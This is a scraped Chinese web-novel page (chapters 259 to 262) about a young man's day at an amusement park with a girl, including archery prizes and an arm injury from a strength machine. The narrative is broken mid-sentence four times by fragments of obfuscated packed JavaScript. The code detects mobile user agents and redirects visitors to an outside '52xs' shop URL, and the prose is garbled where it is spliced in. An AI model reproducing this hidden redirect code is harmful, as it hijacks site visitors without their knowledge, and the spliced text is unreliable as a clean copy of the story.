l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14310004|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别说,这个选择很是正确,甫一进入了室内,那股热量顿时消失了,空调的冷气充斥着室内的空间,公平地降临每一个角落,温度刚刚好,对蔚迟野来说,不冷也不热。 “椰子树空间”里有许多内容,中间有一颗延展到房顶的巨大椰子树,那便是这个场馆所代表的文化主题,再往两边看去,有刺激的游乐项目,还有收费拍照的真人扮演,以及一些奖品颇丰的小游戏。 蔚迟野偷偷看了许嫣然一眼。后者正盯着那些玩偶,挪不开眼睛。于是说道:“咱们先玩点小游戏开开胃吧,喏,那边的,看着还挺有意思。” 他努了努嘴,给她指向一个射箭场,摊位用热带风情的装饰包装,十分有身临其境的原始感。 许嫣然盯着那些还未被人摘夺的奖品,嘴上说道:“好哇。” 摊位前排队的人并不多,然而奖品也所剩无几。尽管才中午不过多久,但是,已经有很多大神能人光临此处,赢走了大部分奖品。 在队伍里排了一阵子,很快轮到了他们。 射箭场规矩都差不多,射中什么给什么,收费按箭,一箭的价格不菲,与外面的商店比起来,如果能一击即中,那么就很有性价比,但是如果一击不中,从第二箭开始,只会是越射越亏。奖品多的时候,无论技艺再怎么不精湛,大概率还是能射中一个,但是现在靶子上面只剩零星几个奖品牌子了,看起来很难击中。 不过,也有好处,商家普遍把大奖的牌子设计得很小,现在留下来的也都是指甲盖大小的奖品牌子,也就是说大奖基本还都在,说不定还有限定款。 限定款,这几个字对蔚迟野来说没什么吸引力,那些说到底不过是有文化包装的玩偶罢了。他也会喜欢一些有文化背景的东西,但是这些可可爱爱、毛茸茸的、五颜六色的玩具,不在他的兴趣范畴之内。 但是,他知道,许嫣然喜欢这些,她对它们没有抵抗力,而知道这点就够了。 蔚迟野向商家买了一只箭。热情的店长说:“十只一起买的话,价格更优惠。” 幻海乐园里的一些小商区是外包出去的,不属于建立游乐场的公司,所以这些店长基本都是自负盈亏。 蔚迟野笑了笑,晃着他手中的箭,对店长道:“我先试试手感。” 在商家标定的射箭点,他站稳了,熟稔地侧过身,丈量着自身到靶子的距离,目光炯炯有神。 而后,他搭弓、拉弦、瞄准。 这把弓被许多人用过,弦失去了一些韧性,能够作用在箭上的力道减弱了几许。为了保证安全,箭尖并不尖锐,不会误伤他人,但同时,也无法效率地割裂空气。室内无风,无需横向校准,直线距离大约三十米,考虑到垂坠的高度,大概应该是……这个角度。 蔚迟野调整手中的弓箭,像是十分熟悉弓箭这种武器一般,身体几乎和它融洽地合为一体。他不知道发射出去的力道是不是他所想象的那样,怕有什么误差,所以挑了一个最大的奖品牌子,瞄准,松弦。 259. 游乐场2 箭离弦上,咻一声飞了出去,速度极快,像是射箭者没有任何的犹豫,带着一种确信能够射中的自信。 下一刻,那只箭分毫不差地射中了奖品的靶心,咚的一声,胶皮材质的箭头粘在了奖品盘子上。 果然,他推算得很正确。一种欣然的自豪感从他心底里升起来,他斜目,看了眼旁边的许嫣然,后者露出惊讶的目光,那让他的自信愈发膨胀。 “哎哟,居然一箭就射中了,准头不错哇。”店长在一旁起哄道,他笑眯眯的,似乎没有因为蔚迟野一箭射中了奖品而感到沮丧,“请稍等一下,工作人员已经去后面拿奖品了。另外,咱们每个人有三次领奖的机会,小帅哥要不要再玩玩?” 像是认为蔚迟野只是偶然射中了一般,店长没什么芥蒂地笑着,邀请他继续射箭。看似热情,但蔚迟野知道,对方笃信他不会第二次这么轻易地射中,邀请他继续,不过是想把上一箭的损失弥补回来罢了。 工作人员把奖品拿来出来,那是一个蛇形的毛绒玩具,虽然原型是那种普遍令人不适的生物,但是,他们却放大布偶的眼睛,把它弄得毛茸茸的,将它的形象无害化,也就成了这样一个看似可爱的玩偶。 工作人员自然而然把奖品交到了许嫣然的手中,她捧着它,目光粘在上面,爱不释手。蔚迟野见了,对店长说道,“好,最多三个奖品是吧?再给我来两只箭吧。” “这……小帅哥,你确定不再多买几只?剩下的虽然都是大奖,但是靶子都小,还有的是移动靶,前几个来我这里射箭的大神,好几个都黯然离场。你要不再考虑考虑?” “不用。”蔚迟野说道。 店长见他这样,也没再说什么,只是又给他拿了两只箭过来,而后站在一旁,双手叉腰,像是想看看这个准男大学生能有什么能耐。 蔚迟野再度重复之前的动作,搭弓,拉弦,瞄准。移动靶看似很难,但是,那些靶子都是以固定速度在平移。虽然,他的箭术说不上多么精湛,但是,射一个这么近距离的靶子,比射中茫茫雪地里移动的雪兔要容易多了。 他瞄准之后,松手,放箭。在这一刻,他有一种确认无疑的信心。而每次射箭时有这种感觉的时候,他都知道,自己一定能射中。 这几乎是一种本能一样的东西,就算要做的事情看似带有不确定性,但箭离弦上的那一刻,成败与否,他其实已经能够感受到了。不光是射箭,很多事情都是这样。 毫无疑问地,飞箭射中了移动的靶心,一旁,许嫣然发出小声的赞叹,而另一边的店长的脸色有些不太好。 蔚迟野看了眼自己的手,一掌,五根指,听命于他自己。但是,刚才所用的技艺,却是曾经的自己从来没有使用出来过的。那是属于另一个人的经验,他的意识进入了一个虚拟的世界,在那里经历了许多事情,学会了许多东西,他没有想到,这些技艺居然也能被带出来。 这么看来,去样界的那一趟还是有些收获的。起码,可以让他现在在游乐场里大秀一番。 蔚迟野趁热又拿来一支箭,再次瞄准,放箭。就像是和弓箭融为了一体一般,他几乎中途没有怎么停顿,十分流畅地搭弓放弦,而他的身体就好像知道怎么做似的,将那弓自动校准,将那箭送上了他目光锁定的奖品盘。 蔚迟野睁大眼睛,有些意外,也有些沾沾自喜,为自己的技艺而感到新奇和跃跃欲试。那是他残留在脑海里的记忆。那些骑着驯鹿,在雪原上奔腾的记忆,那些在荒野里追逐野兽的记忆,现在也牢牢地刻印在这具身体里。 而他不拒绝这些,既然已经学会了,那么,这些技艺都是他的能力。傍身的能力不嫌少,省得需要用时才想起来要学。 一旁,店长的脸色可谓整个黑了下来,他再三让工作人员确认有没有射中靶心,顾客有没有犯规的地方,是不是箭上黏了什么磁石一类的,但是,检查下来,什么也没有。这个偶然来到摊位前,只买了三支箭的年轻人,只是单纯准得吓人。 店长黑着脸,叫工作人员去后面提货。工作人员不久拿了一个大家伙出来,那是几乎和人一般高的熊类玩偶,如果放在双人床上几乎能占一半的空间,那的的确确是大奖无疑。 而另一件奖品就显得精致得多,那是一个发卡,镶着银色的宝石点缀,上面还有一些可爱的人物头像。做工精良,看上去价格不菲。 蔚迟野把发卡从包装里拆出来,帮许嫣然别在她的头发上,女孩没有拒绝,只是温顺地垂着头,让蔚迟野在她的头顶上摆弄。戴好了,她抬起头来,眼睛扑闪扑闪地眨着,像是在无声地问:我好看吗? 店长拾起桌面上的弓,像是生怕蔚迟野再碰到它一般,冲着两个人驱赶道:“行了,三次领奖的机会已经用过了,麻烦离开一些,后面还有在排队等待的游客。” 他虽然态度不怎么样,脸色也不怎么好,语气却是一副敢怒不敢言的模样。蔚迟野瞅了他一眼,没说什么,带着许嫣然离开了。 “喜欢吗?”他们走到了一旁,蔚迟野向女孩问道。他没有问具体喜欢哪一个,模糊地问她整体的印象,只等许嫣然发表自己的意见。 “嗯,喜欢。”许嫣然抱着那个大熊,要不是外面罩着一层塑料袋,她像是恨不得把自己的脸埋进那毛茸茸的玩具里面,“我都不知道,你射箭居然这么厉害。” 如果是在别人的面前,蔚迟野怎么也要谦虚一番。他心底里有一个声音告诉他,在别人面前说自己不成器,才能获得朋友。那是他小时候收到过的教育,但不是蔚迟野的儿时,而是另一个人的小时候。即便那是虚幻的影像,但是,它依然牢牢存在于蔚迟野的脑海里,毫无质疑地被他引以为戒,甚至,在有这种下意识的想法时,他自己也不会深究,究竟是哪一次生命给了他这样的警醒。 但在当下,他却只有一种想要把自己最好的方面全都展示出来的冲动。蔚迟野笑起来,嘴角按捺不住地上扬,“这算什么,我厉害的地方多着呢。” “是吗?”许嫣然道,目光里似乎有些崇拜,“还有什么?” “唔,你这么突然问我……我也想不出来。”蔚迟野想了一番,他只想到了如何舞剑,怎么快速切断动脉,如何精准地刺入心脏。按理来说他会很多东西,但是此刻,思绪有些打节,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320847|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不出来其他的。 许嫣然噗嗤一声笑了,也不知道因为他的反应,还是联想到了什么,“好吧,那就等你想起来再说。” 他们继续在场馆内部漫无目的地闲逛,看看这个,看看那个,主要还是看许嫣然有没有什么看上的奖品。 两人来到了一个大型仪器的前面,那看上去只是一个普普通通测试力量的机器,但是却还是有人排队。在这个游乐场里面,似乎就没有什么项目是不需要排队的。 “那上面好像写着,要是能打破记录的话,就能拿到当季的限定款卫衣……”蔚迟野踮脚,抱着巨大的玩具熊,看着前方远处的告示牌,伸着脖子说道。 “这个还是有点难度,我们再看看别的吧。”许嫣然说道。 蔚迟野一听,连连摇头,已经到这里了,哪有临阵脱逃的道理。而且,这些排队的游客看上去都没有什么训练痕迹,哪有他一个不说久经沙场、也是提着剑满世界跑的人来得强壮? 一个小小的记录,打破它轻而易举。 “那个卫衣看着还不错,试一试呗?”蔚迟野说道。他难得坚持,其中有几分想要在旁人面前炫耀力量的嫌疑。 许嫣然有些意外地盯着他,顿了片刻,她说道:“……好,如果你想要的话,咱们就在这里排一阵。” 于是乎,两人又经历了一番等待。 终于,蔚迟野来到了队伍的最前面。每人五次机会,但是一般前两三次就已经能定胜负了,越往后,流失的力气越大,越不可能打出更高的成绩。而刚才排队的那些人里面,几乎没有人打破测力机上的最高记录。 蔚迟野盯着那上面的数字,进行了一番简单的换算。心里窃喜,这有什么,这不过是用剑斩断骨骼的力道,的确不轻巧,但也不是不可超越。 他戴上了专用的手套,工作人员清空上一个人的记录,告诉他可以开始了。蔚迟野摆出架势,虽然他不怎么经常用赤手空拳打架,但是,如何打出力道最大的拳头,还是略知一二的。 他侧过身来,往后退了半步,打算通过身体的摆动惯性借力。 他瞄准了那个承接力道的柔软木桩,眼神一凛,猛然出拳,嘭的一声,拳头砸在了那没什么危险系数的板子上。 他期待听到一些惊呼,或者赞赏。但是一时间,周围什么声音也没有。 受惯性影响,他身体转了一圈,回正了,这才看到屏幕上亮起的数字。 甚至连最高记录的三分之一都不到。 蔚迟野一时有点迷茫,怎么会这样?机器坏了? 身后,有排队的结伴男女嘀咕着,“姿势倒是挺标准,可惜细胳膊细腿的……” 后面说了些什么,蔚迟野没听清,他脸唰一下红了,有些束手无策地立在原地。 怎么可能,他已经摆出最标准的发力姿势了,怎么可能才这点水平? 一旁,工作人员面无表情,像是见多了这种场面一般,问道:“还有四次机会,先生,继续吗?” 这时候,许嫣然凑上来,有些难为情似的,在他耳旁低声说道:“迟野,我们去看看别的吧。” 260. 游乐场3 蔚迟野哪里受得了这种场面,现在离开的话,岂不是一点面子都没有了,要是现在走了,今天整场游乐场之行,他都会因为这一次失败而抬不起头来。 “让我再试一次。”蔚迟野不甘心地说道。他扭了扭自己的肩膀,借着这个动作让许嫣然和工作人员都离他远点。 他摆出和刚才一样的姿势,用更大的力气绷紧肌肉。可是这一刻,他却觉得自己的拳头有些握不稳。低头看去,发觉小臂的肌肉在微微颤抖。 也太弱了吧,他什么时候因为力竭而颤抖过?从来没有。 蔚迟野无视了身体的症状,又是一拳打出去。 嘭。新的成绩显示在屏幕上。 惯性带着他转身,目光刚好落在一旁围观的许嫣然身上。 而他看到女孩移开了视线,像是不忍见到什么一般,脸上是有些难堪的神色。 排队的人嬉笑着指着屏幕,议论着他新打出的成绩。 蔚迟野回头,看到屏幕上的数字。 更低了。甚至比他第一次打得都要低。 蔚迟野微喘着气,盯着那刺眼的数字。这怎么可能?他已经用上了所有的力气,用尽了他知道的技艺,按理来说,那一拳能把较为体弱的人骨打断,怎么可能只有这点分数? 突然,他的肩膀上传来一阵钻心的刺痛,他痛吟了一声,捂住了自己的肩。那痛入骨,激得他流汗。一旁,许嫣然凑了过来,语气关心,“迟野,你还好吗?” 蔚迟野皱着眉,看到自己的右臂在颤抖。他脱下了手套,只见指关节红了一片,甚至在微微发肿。 队伍里,有声音粗犷的中年人说道:“小伙子,歇歇吧,啊,犯不上。人姑娘家不会因为你破不了记录就跑了的,别再把自己胳膊折腾骨折了。” 男人虽然语言关切,实际却有种不自知的嘲讽意味,而那晦暗不明的恶意,在蔚迟野的耳中听来,更是尖锐。 但是此刻,他没有心思再去管什么了,右肩的疼痛让他冷汗直流,无法分心说话。 许嫣然带着他来到了一旁,找了个难得有空的座位坐下,许嫣然盯着他,目光关切,“你怎么样?” 疼痛在减缓,但是麻木在攀爬,他活动了一下手臂,只觉得里面的骨骼咯吱咯吱地响。 “我没事。”他说,嘴上还在嘴硬,“就是有点没控制好力道,打歪了,应该是扭到肌肉了。” 这可不是什么扭伤肌肉,他心知肚明。这是对自己的力量没有认知的人,以一个不应该使用的招式,盲目地驱动自己的身体,导致身体部件损坏的结果。 他清楚地知道问题的关键,但是,他就是不愿意相信。自己什么时候这么弱过? 可事实是,那条能够挥动利剑的强壮手臂,已然不是构成他身体的一部分,那是只存在于他脑海里的强劲。身体回到了现实水平,然而大脑还下意识认为自己能够实现曾经的力量,于是乎发生了这样的事。 现在的他,不是那个仗剑走天涯的男人,而是一个高中刚毕业、为数不多的身体力量来自几节单调的体育课程、除此之外没有进行任何力量训练的普通人。和那个随随便便跑上几十分钟不怎么大喘的人不一样,他的身体素质远比不上他。 蔚迟野有些气馁,甚至有些愤恨。为什么在那里的身体条件不能带出来?为什么只让他的意识得到了磨砺,肉|体却还是这么孱弱。 他就是想既要又要。 “要不要让人来看看?”许嫣然坐在蔚迟野的旁边,担忧地望着他。 蔚迟野摇摇头,“没事,放一阵子就好了。应该只是挫伤之类的,不要动它,缓一缓就行。” 这时候,有好心人帮他们把玩具大熊从测力机旁边拿了过来。刚才事发突然,两人都把奖品忘在那里了。 道了谢之后,两人便在椅子上坐着,等待蔚迟野的胳膊缓过来。 来来往往的游客在他们面前走过,人们欢欣雀跃地奔向每一个游乐场所,看起来是那么地快乐。 好不容易来一次游乐场,蔚迟野不希望许嫣然就这么陪着自己无聊地在这里坐着。于是只是休憩了片刻,他就说差不多可以走了。 玩具熊孤零零地靠在椅子旁边。蔚迟野的肩膀还有些微微镇痛,于是,他对许嫣然说道:“嫣然,帮我拿一阵子玩具熊吧。待会肩膀缓得差不多了,我再帮你抱着。” 许嫣然看了看那个大熊,面露难色。转瞬,她的表情变为关切,“要不,还是等你歇好了,咱们再走吧。” 蔚迟野以为她是担心自己,说道:“我已经没什么事了,就是手还有点麻。今天时间已经不早了,咱们还有挺多项目没有玩。” “……”许嫣然看都没看那个大熊玩偶一眼,说道,“那就把它寄存起来吧,一直拿着它也不是办法。” 蔚迟野一听,对啊,他怎么没有想到这个办法,“那行,那咱们去寄存处。” 他侧过身来,等待许嫣然行动。然而,女孩只是站在那里,无动于衷。 蔚迟野等她把那个熊拿起来,它虽然大,但并不是那么重,短暂地抱一阵子,可能胳膊会有些酸,但是绝对不是女孩无法抬得动的重量。 他在等待,等她欢心雀跃地把他为她赢来的奖品抱起来。然而,女孩却在原地犹豫,半天,只憋出来了一句,“要不,打电话叫工作人员过来,把咱们的东西取走吧。” 蔚迟野眨了眨眼睛,他不明白为什么要用这么麻烦的方式,“不用这么折腾吧,寄存处就在不远处。” “还是叫人吧。” “这里的工作人员很忙,要他们帮忙的话可能要等很久。” “那就等一等。”女孩说。 “寄存处很近的。” “没有那么近。” “出门拐个弯就到了。” “那可不是拐个弯……!”女孩的声音突然拔高了,震得蔚迟野一愣。她很快冷静下去,后半句话又恢复了平时的音量,有气无力,孱弱似无骨,“从这里走出去还有一段路呢,何况外面还有那么大的太阳在天上晒着。你说拐一个弯,实际上要走出去好几百米。没有阴凉,皮肤会晒黑。抱着它,裙子还容易起褶……” 蔚迟野眨眨眼,茫然地看向许嫣然的裙子。他想起来,在出门之前,自己曾经答应过她,说如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329842|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果裙子不方便做什么事的话,他会帮忙。 而现在就是那个不方便的时间点。 他张张嘴,突然不知道该说些什么。他只是希望她能帮忙拿一下那个大熊,那不是什么会拧断她胳膊的洪水猛兽,只是一个体积有些大的玩偶罢了。 柔弱的女孩,无力的四肢,脆弱的声音,这一切激起他的保护欲。 只是,当他低下头,盯着她不便走路的蛋糕鞋的时候,一种奇怪的感觉升了起来。 为什么要让自己变得这么脆弱? 就算他已经不处在那个遍布严寒的样界中,但毫无疑问,现实世界也并不温和。 就算它表面看着不像荒野那般危机四伏,但是,随着欲望的增长,在这个世界生活的困难程度也在骤然升高。想要在这样的世界上生存下去,赢得更多的东西,无疑,力量不说是一切,起码是一个先决条件。物品可以脆弱,花瓶可以珍贵易碎,花朵可以易折,但是,一个人如果把自己当做人,而不是当做一个物件,就不会希望自己脆弱不堪。 “我来帮你。”突然,一个温和的男性声音传入他的耳中。 一下子,一张女人的脸出现在了蔚迟野的脑海里。虽然连声音的性别都不对,但他还是突然就想起了她。 那个女人的声音曾是那样的沉稳,有一种包容万象的冷静,就是那个声音曾经陪伴自己翻越群山峻岭。在漫天的白雪之中,他和声音的主人互相牵着手,走在两侧是悬崖的险地,彼此把重量交托给对方。 “交给我吧”,这是他经常听到的一句话。他已经过于习惯这个承诺,每当这个声音响起,他就知道,他可以放心地把重担交托出去一部分。他相信那个人能够与他共同承担责任,完成他们一次又一次的壮举。 蔚迟野把头朝音源扭转过去,在另一旁的座椅上,他看到了一对情侣。 女人坐在椅子上,而男人蹲在他的面前。 女人在和一个塑料汽水瓶置气,她只有一条胳膊,在试图用一只手打开瓶子的旋盖。 男人没有抢过塑料瓶帮她打开,而是一只手虚握着她的独手,另一只扶住她的肩膀,帮她发力。 女人咬着牙,脸都有些憋红了,她用不擅长的姿势,调动不常使用的肌肉,三番五次尝试打开汽水瓶。 一次失败,再来一次。 就这么试了十多次,终于,呲一声,瓶盖被她拧开了。 女人露出开心的笑容,男人也看着她也笑起来。 假以时日,熟悉了这套动作,她就能一个人打开汽水瓶了。 尽管那个时候,她并不一定用得上这个技能。适时的时候,她可能会偷懒,或者撒娇,让她的男朋友开汽水。 但是,当需要这份技艺时候,比如独自在家渴得不行时,或者在晨跑的路上遇到了一只快要渴死的野猫,她不会因为拧不开一瓶水,而痛哭自己的无能。 蔚迟野有些呆愣,看着隔壁的两人,有些回不过神来。 这时候,一个娇滴滴的声音传入他的耳中,像是在示弱一般,又像是在撒娇,“迟野,叫人来吧。或者……让旁边的大哥帮帮我们?” 261. 游乐场4 蔚迟野转过头来,看着打扮得像一个精致玩偶一样的许嫣然,心情有点复杂。自己从来没有要求她穿成这样,是什么让她觉得他会喜欢这种装扮?还是说她认为像一个物品一样包装自己,能带来什么足以弥补行动不便的好处吗? 但是不得不承认,一种不受他控制的保护欲还是升了起来,这让他不自觉地想为她做点什么。 这种本能的反应无法遏制,就像是人在看到食物的时候会流口水,盯着太阳时会眯起眼睛,寒冷时会打颤。 “不,不用,我来吧。”他说,往大熊玩偶的方向走去,可目光还时不时打量着那对因为打开了瓶汽水而笑得很开心的情侣。他的右臂有些疼,只能用左手把那个大熊玩偶抱起来,姿势显得有些别扭。蔚迟野收回目光,转向离开‘椰子树空间’的方向,边走边对许嫣然道,“走吧。” 他们离开了室内场馆,沿着建筑绕了一圈,去往游乐场的大门,寄存处就在那附近。 额外多花了些钱,把赢来的大型玩偶寄存进去。蔚迟野活动了一番僵直的手臂,不知为何,右臂没有缓和的迹象,像是冬日里深入骨髓的细小裂痕,时刻彰显着自己的存在。 许嫣然站在树荫里,等待他把玩偶寄存完再回来找她。 远远地,蔚迟野看到许嫣然在树下盼望的模样,像是待采摘的花朵一般,在原地摇曳,可是怎么都离不开所在的一方土地。 “……”蔚迟野若有所思地走过去,停在阴影交界处,等待娇嫩的花朵对他说话。 “迟野,你还想玩什么?”许嫣然问道。 他不易觉察地叹了口气,微微晃了晃脑袋,让一些影响心情的思绪离开脑海。 这么扫兴干什么,蔚迟野。 他对自己说。 好不容易出来一趟,不专注在开心的事情上怎么行。 他很快调整好自己的情绪,翻出手机,打开实时显示排队进度的页面,展示给对方看,“我看很多项目都在排队,但有一个人不是很多,要不咱们过去看看?” 许嫣然微笑,说道:“好呀。” 他们顶着烈日,往游乐场的深处走去。期间,两人光临了一家琳琅满目的杂货店,给许嫣然买了一把印着《海底迷踪》——亚世界系列电影的其中之一——男主角的遮阳伞,那是个黑发蓝眸的外国人,神色刚毅,不苟言笑,据说这个电影形象最近火得一塌糊涂,城市各处都张贴着他的海报。 离开杂货店,蔚迟野便为女孩撑起这把伞。因为他的右臂还有些隐隐作痛,只能用左手,而许嫣然又说,喜欢站在蔚迟野的右侧,所以,蔚迟野只能以一个别扭的姿势,用左手打伞,为自己右边的许嫣然提供阴凉。 他们走了一段,来到了那个排队人很少的项目门口。抬头,看到错综复杂的轨道在空中盘桓,一只车队沿着轨迹从他们头顶飞过,随之而来的是游客们的尖叫声。 看到这个场景,蔚迟野顿时觉得跃跃欲试。人们惊恐的叫声令他心潮澎湃,让他非常想立刻坐上去试试是什么感受。 之前一直忙于学业,根本没有多少娱乐,每天连看电视的时间都要被严格控制着,手机也是总是被没收。当下,可算得到了来之不易的自由,蔚迟野已经迫不及待想要品尝它的滋味了。 人们的惊叫声不断传来,轨道上发出轰隆隆的响声,那看似要坠落的车队牢牢贴在轨道上,以一个让人惊心动魄的速度滑行,每次过弯的时候,都会引发阵阵尖叫。 蔚迟野不敢想象,如果自己坐上去,玩一通下来,该是多么爽快。从高点往下滑时,就仿佛毫无保护地在天空上坠落一般,脑袋里什么也没有,只是刺激,所有的烦恼都被遗忘,所有的焦虑都被甩在身后。人们喜欢刺激项目不是没有道理的。 他兴奋地往里走,要去排那条并不长的队伍。看样子,就是因为这个项目太刺激了,所以,有胆量来玩的人很少。以当前队伍的长度来说,只要再来个三两轮,就能轮到他们了。 然而,在蔚迟野往里走的时候,他感受到了一股阻力。有什么东西勾住了他的衣角,让他不得不停在原地。 蔚迟野回头,只见许嫣然皱着眉,表情有些皱巴,嘴角往下弯,模样有些不情愿似的。她拽着蔚迟野的衣角,犹犹豫豫说道:“要不……我们还是去看看别的项目吧。” 看她这副模样,蔚迟野一愣,问道:“怎么了,你不想玩这个?” “这个看上去太危险了。”许嫣然看着那飞过头顶的列车,在人们的尖叫声中皱紧眉毛,缩了缩脖子,身体在长裙下有些扭捏。 “不危险。虽然看着吓人,但其实都是经过严格测试的,绝对不会掉下来。”蔚迟野说道,希望通过这样的解释能让对方安心。 许嫣然背过身去,望着远处其它色彩斑斓的游乐项目,她没有接话,只是有些固执地说道:“你看那边有你想玩的东西吗?” 蔚迟野还想说些什么,但是,见她这副模样,也只好收回了争取的话。他望过去,看到那些五颜六色的巨大器械,它们明明被建造得那么巨大,然而,却像是发条没有上紧似的,只能做出一些小角度的摆动。人们在上面说说笑笑,坐在一个个装饰成茶杯或其它什么的座位里,嬉笑着拍照。 他感到一阵无趣,方才燃起的热情也散了七七八八。但是,他又不想表现出来这份低落,只好把关注的重点放在女孩的身上,“嫣然……你是有些害怕吗?” “我只是担心会发生什么。”许嫣然看着眼前的游乐设施,有些抵触地说,“万一我们上去的时候出了故障怎么办……” “不会的,自这个游乐场建立之初,就从来没有发生过什么意外。”蔚迟野劝道,“而且定期都会有工作人员检查的。” “万一呢,迟野?”许嫣然说,“要是真出了什么事,对游乐场来说,损失可能是闭门修整几个月,但对我们来说,一生可都毁了啊。” “……”蔚迟野一时无话。许嫣然说的也不能说是完全不对。 就算概率微乎其微,谁也不能保证今天的器械不会突然出什么问题。游乐场几年都没出过事故,不代表今天就不会出。 可是,仅仅是因为这样的原因,就放弃尝试,放弃获得快乐的机会,说实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341910|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,蔚迟野觉得不值当。 周围的环境总是充满了危险,如果每次面临危机,都因惧怕可能发生的苦难而畏缩不前,那么只会亲手一再压缩自己的生存空间,越退越闭塞,直到迈出一只脚都坚难。 当然,当下的情况远没有他想的这么严重。 蔚迟野还是想说服许嫣然,于是又找了些支持自己的说辞,“可是,我看网上的评论,大家对这个项目的评价都很高,说是来幻海乐园玩的话,一定不能错过。” “所有的项目,大家都是这么评价的。”许嫣然说道,似乎并不被蔚迟野的话语所说动,“而且,如果它真的那么值得玩,大家也都喜欢玩的话,为什么这里排队的人这么少呢?” “……”蔚迟野没话说。 许嫣然顿了顿,身子贴近蔚迟野,几乎只留了一指的距离,温蔼的身体曲线若近若离,声音也轻柔下来,“我害怕你出什么事,你的手臂已经受伤了,我担心……迟野,你看,不如咱们去玩那边的摩天轮吧,那上面能将整个园区的景象一览无余,听起来是不是很让人心动?” 蔚迟野抬眼,看了眼那个远处巨大的摩天轮。设计师把它建得几乎有通天之高,上面装载了尽可能多的人。游客们慢悠悠地在上面晃荡,俯瞰着这片人为修建起来的大地。 许嫣然眼中的期待难以掩饰,她似乎真的对那高空金属大转盘很感兴趣。 两人已经纠结了有一阵,太阳在头顶愈发焦灼,蔚迟野只觉得心里也有些烦躁。他只想赶快挣脱出这种不适感,无论通过什么样的方式。 最快的方法显而易见。 于是乎,他妥协了,“好吧,去摩天轮。” 许嫣然眼里露出欣快的目光,她拉着蔚迟野调转了方向,两人往另一边的巨型摩天轮走去。 很快来到了摩天轮排队的队末,没有什么危险系数的项目,排队的人总是很多,放眼望去,几乎见不到队伍的起点,人们像是蛇一样,环绕在栏杆之间,缓慢地向前移动着。 明明人这么多,可是游乐场的大门却还在源源不断地向内部输送着游客,像是不知道里面已经已经乱成了什么样子。又或者,他们知道,只是为了嫌取一些附加项目的收费,而不得不放进来这么多人。 时间是金钱,他们需要每个项目前都排起长到另人发指的队伍,才能体现出一旁贵宾通道的价值。 不知为何,想到这里,蔚迟野有一些反感。况且,他本来也不是很想玩摩天轮。 如果要走贵宾通道的话,还要再单买两张摩天轮的贵宾票,之前在游乐场门口买的那两张入场贵宾票只能用于快速通过大门。 想想还是算了,凭什么让园方赚这个钱。 烈日之下,队伍中的人们在暴晒之下忍耐。尽管蔚迟野和许嫣然有一把遮阳伞,但那还是太小了,两人的腿暴露在外面,经受着烈火的烘烤。蔚迟野倒是没觉得有什么,不如说,他还有些怀念这么炽热的太阳。 然而,许嫣然那边似乎就不这么想了。女孩时不时扇扇风,偶尔躲进蔚迟野的影子里,隔三岔五就向贵宾队伍的方向张望。 262. 游乐场5 蔚迟野注意到了她的小动作,但是,他什么也没说。不知为何,胸口有一股气出不去,他觉得自己有点小题大做,但这股气就是憋在那里,怎么也出不去。 于是他只好盯着别的地方,聊以解闷。 刚才是许嫣然拒绝了他,是她不想玩那个过山车项目,要求来玩这个排队极长的摩天轮。这是她的选择,选择的后果她必须承担。 这有什么问题吗? 这没什么问题。 一个拥有正常人格的人,都会为了自己的选择负责。 就像…… 就像那个女人一样。 那个因家父的阻拦,而没能踏上最后一次必死的远征的女人。 远征队的成员几乎全数在雪山丧生,这明明是另一个人的错,可她却执意认为那是她缺席导致的结果。 女人痛恨自己的不在场,并发誓要将所有的队员带回故乡。为此,她一直在那严寒的天地之间奔波,未曾有过一句抱怨。 世界上有那样的女人存在,就证明,其他女人也能为自己的任何选择负责。不,这和性别没什么关系。应该说,既然有董莉莉那样的人存在,那么…… 既然有像她那样的女人…… 蔚迟野一愣。 不,他在想什么?他怎么会想要将董莉莉和其他人对比。 那是一个虚拟的、只存在于人类创造的样界之中的人物,她当然有着高尚的人格,因为一开始给她的设定就是这样。 人们把美好的品质寄托在她的身上,创造了这样一个个体。人们越是缺少什么,就越是会追寻什么。 就像书里光怪陆离的神话故事,科幻作品里令人赞叹的科技,爱情电影里忠贞不渝的恋慕……人们越是在虚拟的世界中希冀着这些,就越是代表,它在现实中稀缺且几乎不可能存在。 她不是真实的,她和现实中的人类没有可比性,那是一个完美的人格,一个虚幻的个体,任何将她和现实人物对比的行为,都没有意义。 摩天轮的队伍往前移动了一些,但依然看不到尽头。 